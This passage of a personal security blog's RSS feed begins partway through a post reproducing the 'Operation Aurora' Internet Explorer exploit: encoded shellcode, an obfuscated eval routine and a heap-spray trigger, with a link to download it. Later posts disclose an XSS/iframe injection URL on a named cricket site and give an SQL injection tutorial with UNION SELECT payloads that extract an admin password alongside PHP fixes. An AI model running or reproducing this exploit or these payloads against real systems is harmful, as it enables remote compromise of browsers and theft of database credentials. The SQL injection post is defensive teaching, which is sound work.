%u9f1f%u66c0%ubea7%u1f78%uc49f%u7124%u75ef%u9f1f%u40f8%uc8d2%ubc20%ue879%ud8d8%u53d8%ud498
%ua853%u75c4%ub053%u53d0%u512f%ubc8e%udcb2%u3081%ud87b%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0
%ubdab%u8caa%ude53%uca30%ud8d8%u53d8%ub230%u81dd%u5c30%ud8d8%u3ad8%ueb21%u8f27%u8e27%u58dc
%u30e0%ue058%uad31%u59c9%udda0%u4848%u4848%ud0ac%u2753%u538d%u5534%udd98%u3827%ue030%ud8d8
%u1bd8%ue058%u5830%u31e0%uc9ad%ua059%u48dd%u4848%uac48%ub03f%ud2d0%ud8d8%u9855%u27dd%u3038
%ud8cf%ud8d8%u301b%ud8c9%ud8d8%uc960%udcd9%u1a58%ud8d4%uda33%u1b80%u2130%u2727%u8327%udf1e
%u5160%ud987%u1fbe%udd9f%u3827%u8b1b%u0453%ub28b%ub098%uc8d8%ud8d8%u538f%uf89e%u5e30%u2727
%u8027%u891b%u538e%ue4ad%uac53%ua0f6%u2ddb%u538e%uf8ae%u2ddb%u11eb%u9991%udb75%ueb1d%ud703
%uc866%u0ee2%ud0ac%u1319%udbdf%u9802%u2933%uc7e3%u3fad%u5386%ufc86%u05db%u53be%u93d4%u8653
%udbc4%u5305%u53dc%u1ddb%u8673%u1b81%uc230%u2724%u6a27%u3a2a%u6a2c%ud7ee%u28cb%ua390%ueae5
%u49ac%u5dd4%u7707%ubb63%u0951%u8997%u6298%udfa7%ufa4a%uc6a8%ubc7c%u4b37%u3cea%u564c%ud2cb
%ua174%u3ee1%u1c40%uc755%u8fac%ud5be%u9b27%u7466%u4003%uc8d2%u5820%u770e%u2342%ucd8b%ub0be
%uacac%ue2a8%uf7f7%ubdbc%ub7b5%uf6e9%uacbe%ub9a8%ubbbb%uabbd%uf6ab%ubbbb%ubcf7%ub5bd%uf7b7
%ubcb9%ub2f6%ubfa8%u00d8&quot;);
var sss = Array(826, 679, 798, 224, 770, 427, 819, 770, 707, 805, 693, 679, 784, 707, 280,
238, 259, 819, 336, 693, 336, 700, 259, 819, 336, 693, 336, 700, 238, 287, 413, 224, 833,
728, 735, 756, 707, 280, 770, 322, 756, 707, 770, 721, 812, 728, 420, 427, 371, 350, 364,
350, 392, 392, 287, 224, 770, 301, 427, 770, 413, 224, 770, 427, 770, 322, 805, 819, 686,
805, 812, 798, 735, 770, 721, 280, 336, 448, 371, 350, 364, 350, 378, 399, 315, 805, 693,
322, 756, 707, 770, 721, 812, 728, 287, 413, 826, 679, 798, 224, 840, 427, 770, 707, 833,
224, 455, 798, 798, 679, 847, 280, 287, 413, 224, 714, 777, 798, 280, 826, 679, 798, 224,
735, 427, 336, 413, 735, 420, 350, 336, 336, 413, 735, 301, 301, 287, 224, 861, 840, 637,
735, 651, 427, 770, 301, 805, 693, 413, 875);
var arr = new Array;
for (var i = 0; i &lt; sss.length; i ++ ){
  arr[i] = String.fromCharCode(sss[i]/7); } var cc=arr.toString();cc=cc.replace(/ ,/ g, &quot;&quot;
  );
  cc = cc.replace(/@/g, &quot;,&quot;);
  eval(cc);
  var x1 = new Array();
  for (i = 0; i &lt; 200; i ++ ){
    x1[i] = document.createElement(&quot;COMMENT&quot;);
    x1[i].data = &quot;abc&quot;;
  }
  ;
  var e1 = null;
  function ev1(evt){
    e1 = document.createEventObject(evt);
    document.getElementById(&quot;sp1&quot;).innerHTML = &quot;&quot;;
    window.setInterval(ev2, 50);
  }
  function ev2(){
    p = &quot;
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d&quot;;
    for (i = 0; i &lt; x1.length; i ++ ){
      x1[i].data = p;
    }
    ;
    var t = e1.srcElement;
  }
&lt;/script&gt;&lt;span id=&quot;sp1&quot;&gt;&lt;IMG SRC=&quot;aaa.gif&quot; onload=&quot;ev1(event)&quot;&gt;&lt;/span&gt;&lt;/body&gt;&lt;/html&gt;
</pre>
<p><strong><span style="color: #993300;">Better if you download it from <a title="Exploit Aurora" href="http://www.shaheemirza.com/wp-content/uploads/2010/01/aurora.zip" target="_blank">here</a>. </span></strong></p>
<p>Microsoft says:</p>
<p>â€œAt this time, we are aware of limited, active attacks attempting to use this vulnerability against Internet Explorer 6. We have not seen attacks against other affected versions of Internet Explorer.â€<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.shaheemirza.com%2F2010%2F01%2F18%2Foperation-aurora-used-on-google-to-hack%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px;margin-top:5px;"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://www.shaheemirza.com/2010/01/18/operation-aurora-used-on-google-to-hack/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Cricinfo.com iframe vulnerability.</title>
		<link>http://www.shaheemirza.com/2010/01/13/cricinfo-iframe-vulnerability/</link>
		<comments>http://www.shaheemirza.com/2010/01/13/cricinfo-iframe-vulnerability/#comments</comments>
		<pubDate>Tue, 12 Jan 2010 20:14:57 +0000</pubDate>
		<dc:creator>Shahee Mirza</dc:creator>
				<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[Cricinfo]]></category>
		<category><![CDATA[vulnerabilty]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.shaheemirza.com/?p=33</guid>
		<description><![CDATA[00&#215;01: Introduction Cricinfo.com is the finest and most famous web portal for cricket. Cricinfo offers users the most comprehensive live coverage of international and domestic cricket available as well as an unparalleled stats database, quality editorial comment and analysis and is part of ESPN. We get lot of information from there. Such people like me, [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-35" title="cricinfo" src="http://www.shaheemirza.com/wp-content/uploads/2010/01/cricinfo.jpg" alt="cricinfo" width="400" height="200" /><br />
<strong> 00&#215;01: Introduction</strong></p>
<p>Cricinfo.com is the finest and most famous web portal for cricket. Cricinfo offers users the most comprehensive live coverage of international and domestic cricket available as well as an unparalleled stats database, quality editorial comment and analysis and is part of ESPN. We get lot of information from there. Such people like me, who have not any television at home keeps eyes on it.</p>
<p><strong>00&#215;02: Poc</strong></p>
<p>I have tried to inject iframe on it. Proof of concept is below.</p>
<p style="text-align: center;"><img class="size-full wp-image-36 aligncenter" title="cricinfo2" src="http://www.shaheemirza.com/wp-content/uploads/2010/01/cricinfo2.jpg" alt="cricinfo2" width="422" height="161" /></p>
<p><strong>00&#215;03: Details</strong></p>
<p>Vulnerable URL is below.<br />
<code></p>
<p>http://www.cricinfo.com/ci/engine/current/series/index.html?season=[iframe/xss]</p>
<p></code><br />
<strong>00&#215;04: Greetings</strong></p>
<p>Red-D3v1L ## Who discovered XSS vulnerability on &#8220;Cricinfo Games 1.0&#8243;.</p>
<p><strong>00&#215;05: Credit</strong></p>
<p>SHAHEE MIRZA<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.shaheemirza.com%2F2010%2F01%2F13%2Fcricinfo-iframe-vulnerability%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px;margin-top:5px;"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://www.shaheemirza.com/2010/01/13/cricinfo-iframe-vulnerability/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SQL injection: attacks and defenses.</title>
		<link>http://www.shaheemirza.com/2009/12/29/sql-injection-attacks-and-defences/</link>
		<comments>http://www.shaheemirza.com/2009/12/29/sql-injection-attacks-and-defences/#comments</comments>
		<pubDate>Tue, 29 Dec 2009 16:53:49 +0000</pubDate>
		<dc:creator>Shahee Mirza</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[sql]]></category>

		<guid isPermaLink="false">http://www.shaheemirza.com/?p=6</guid>
		<description><![CDATA[***Introduction: This is awesome that attackers are using several methods to get into some restricted part of web applications. They are discovering new methods day by day. But SQL injection is now widely spreading method to hack your web sites or web apps. So here is the question, what is SQL injection? ## SQL injection [...]]]></description>
			<content:encoded><![CDATA[<p><strong>***Introduction:</strong></p>
<p>This is awesome that attackers are using several methods to get into some restricted part of web applications. They are discovering new methods day by day.</p>
<p>But SQL injection is now widely spreading method to hack your web sites or web apps.</p>
<p>So here is the question, what is SQL injection?</p>
<p>## SQL injection is a code injection technique that helps attacker to get some vulnerable information from your database. Actually it happens on database layer. This vulnerability occurs on PHP and ASP scripts for mistake of its coder.</p>
<p><strong>***Where and why this vulnerability happens:</strong></p>
<p>## Your coder may forget or lazy to handle SQL query errors.</p>
<p>## Where malicious users can insert SQL syntax on form requests.</p>
<p>## Forget to filter SQL syntax.</p>
<p>## Can not determine type of SQL query string.</p>
<p>## This attack can be perform on anywhere of your application, even attacker donâ€™t have to get a privileged account.</p>
<p>## Attack can be performing via cookie.</p>
<p>## Those dynamic pages which only pulls data from database directly.</p>
<p>## This vulnerability may be causes by your database server also.</p>
<p><strong>***Types of SQL injection:</strong></p>
<p>There are two types of SQL injection.</p>
<p>1.Injection into the variables that contain strings.</p>
<p>2.Injection into numeric variables.</p>
<p>Both are different than each other. I will describe about both and also how to avoid them.</p>
<p><strong>*** 1. Injection into the variables that contain strings.</strong></p>
<p><strong><em>## Vulnerable code:</em></strong></p>
<p>OK, just imagine that you wrote an application that have a page that fetches memberâ€™s credits according to his login name. The username will gone one page to another via URL, actually method of $_ GET [â€˜variableâ€™];</p>
<pre class="brush: php; title: ; notranslate">

$cred = $_GET['name'];

$result = mysql_query(&quot;SELECT credit FROM user WHERE username='$cred'&quot;);
</pre>
<p>This script has SQL injection vulnerability. An attacker can abuse it, just putting a SQL query beside the username in URL.</p>
<blockquote><p>&#8216; UNION SELECT password FROM admin WHERE id=1</p></blockquote>
<p>This will pull password of an admin user who has id number 1 as an example.</p>
<p><strong><em>## Solution:</em></strong></p>
<p>To avoid this type of attack is very simple. So many times it has been described by so many security experts. You have to use a function mysql_real_escape_string().What does it do? mysql_real_escape_string() function adds â€œ\â€Â  to following characters:</p>
<pre class="brush: php; title: ; notranslate">

NULL, \ x00, \ n, \ r, \, ', &quot; and \ X1A
</pre>
<p>So, look out that vulnerable code with mysql_real_escape_string() .</p>
<pre class="brush: php; title: ; notranslate">

//

$cred = mysql_real_escape_string( $_GET['name']);

$result = mysql_query(&quot;SELECT credit FROM user WHERE username='$cred'&quot;);
</pre>
<p>This page is completely secure now.</p>
<p><strong><em>## Attack again:</em></strong></p>
<p>Now an attacker will attack on it like before.</p>
<blockquote><p>&#8216; UNION SELECT password FROM admin WHERE id=1</p></blockquote>
<p>But after usingÂ  mysql_real_escape_string() funtion, this query looks like this.</p>
<blockquote><p>\&#8217; UNION SELECT password FROM admin WHEREÂ  id=1</p></blockquote>
<p>There is â€œ\â€ character just added because of mysql_real_escape_string().</p>
<p>Somebody will advice you to use addslashes() function. But this function has some limitations.</p>
<p><strong><em>##Please read these topics from PHP manual:</em></strong></p>
<p>http://www.php.net/manual/en/function.addslashes.php</p>
<p>and</p>
<p>http://www.php.net/manual/en/mysqli.real-escape-string.php</p>
<p>and also.</p>
<p>http://www.php.net/manual/en/function.pg-escape-string.php</p>
<p><strong>*** 2. Injection into numeric variables.</strong></p>
<p>These types of SQL attacks are less know than first one. And not so well described by security experts. But it also comes with same disaster on your web applications.</p>
<p><strong><em>## Vulnerable code:</em></strong></p>
<p>Now time to describe this attack. Imagine again, you wrote a page that will display userâ€™s credit according to his user id. The user id will gone one page to another via form posting, actually method of $_ POST [â€˜variableâ€™];</p>
<pre class="brush: php; title: ; notranslate">

$id = $_POST['id'];

$result = mysql_query(&quot;SELECT credit FROM user WHERE id=$id&quot;);
</pre>
<p>On this situation mysql_real_escape_string() will not protect you from SQL injection attack. Because now the $id variable is not quoted. This variable is containing numerical value. Now an attacker will use this type of SQL query.</p>
<blockquote><p>2 UNION SELECT password FROM admin WHERE id=1</p></blockquote>
<p>So, how could you protect web application from this attack? There are two things you can do.</p>
<p><em>1. You can change content to number, so that your variable will hold only numerical content.</em></p>
<p><em>2. You can check if the content is numerical then it may proceed to make a query.</em></p>
<p><strong><em>## Solution:</em></strong></p>
<p>To avoid this type of attack you can use these functions.</p>
<p><em>A. intval() function.</em></p>
<p><em>B. is_numeric() function.</em></p>
<p>Here I am describing about the benefit of intval() function.</p>
<pre class="brush: php; title: ; notranslate">

//

//

$var='7ack3r'; //variable contain alphanumerical content

$var2=intval($var); // filtered by intval()

print $var2; // this will print only 7
</pre>
<p>Now you can change your code as like below.</p>
<pre class="brush: php; title: ; notranslate">

$id = intval($_POST['id']);

$result = mysql_query(&quot;SELECT credit FROM user WHERE id=$id&quot;);
</pre>
<p>Yap, you have done your job. This will secure your web applications more than enough.</p>
<p>Now, I am going to describe the function name is_numeric().This function will check, is your variable contains a numerical content?</p>
<pre class="brush: php; title: ; notranslate">

$id = $_POST['id'];

if (is_numeric($id))

{

$result = mysql_query(&quot;SELECT credit FROM user WHERE id=$id&quot;);

}

else

{

log_the_attack(); //this function will log all the information eg: ip, browser, time, date etc

echo &quot;Ha ha ha, trying do something with me dude? You are logged honey&quot;;

}

function log_the_attack()

{

// bla bla bla

}
</pre>
<p>Here a question will arise that â€œWhat can I do now, what will useâ€¦. Intval() or is_numeric() ?â€</p>
<p>Answer will be â€œIts up to you, intval() is easy and saves the coding time but is_numeric() may kills some time. But this will help you to keep all the attack logsâ€.</p>
<p>Please read details from here:</p>
<p>1. http://www.php.net/manual/en/function.is-numeric.php</p>
<p>2. http://www.php.net/manual/en/function.intval.php</p>
<p><strong>*** Conclusions:</strong></p>
<p>Finally I am going finish this article. If you follow these steps, your application will be secure.</p>
<p>## Verify data types of all non-string user inputs.</p>
<p>## Escape all string inputs.</p>
<p>## Keep track of security violation attempts.</p>
<p>## Limit SQL user rights.</p>
<p>## Take database backups.</p>
<p>## Double check your codes.</p>
<p>## Always keep updated your database server.</p>
<p>###################</p>
<p>I AM CONFESSING THAT, I AM BAD IN ENGLISH.</p>
<p>IF I WROTE ANY WRONG INFORMATION IN MY ARTICLE, PLEASE INFORM ME .</p>
<p>###################<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.shaheemirza.com%2F2009%2F12%2F29%2Fsql-injection-attacks-and-defences%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px;margin-top:5px;"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://www.shaheemirza.com/2009/12/29/sql-injection-attacks-and-defences/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Hello world!</title>
		<link>http://www.shaheemirza.com/2009/12/20/hello-world/</link>
		<comments>http://www.shaheemirza.com/2009/12/20/hello-world/#comments</comments>
		<pubDate>Sun, 20 Dec 2009 13:08:31 +0000</pubDate>
		<dc:creator>Shahee Mirza</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.shaheemirza.com/?p=1</guid>
		<description><![CDATA[Welcome to my site.]]></description>
			<content:encoded><![CDATA[<p>Welcome to my site. <img src='http://www.shaheemirza.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.shaheemirza.com%2F2009%2F12%2F20%2Fhello-world%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px;margin-top:5px;"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://www.shaheemirza.com/2009/12/20/hello-world/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

<!-- www.000webhost.com Analytics Code -->
<script type="text/javascript" src="http://stats.hosting24.com/count.php"></script>
<noscript><a href="http://www.hosting24.com/"><img src="http://stats.hosting24.com/count.php" alt="web hosting" /></a></noscript>
<!-- End Of Analytics Code -->

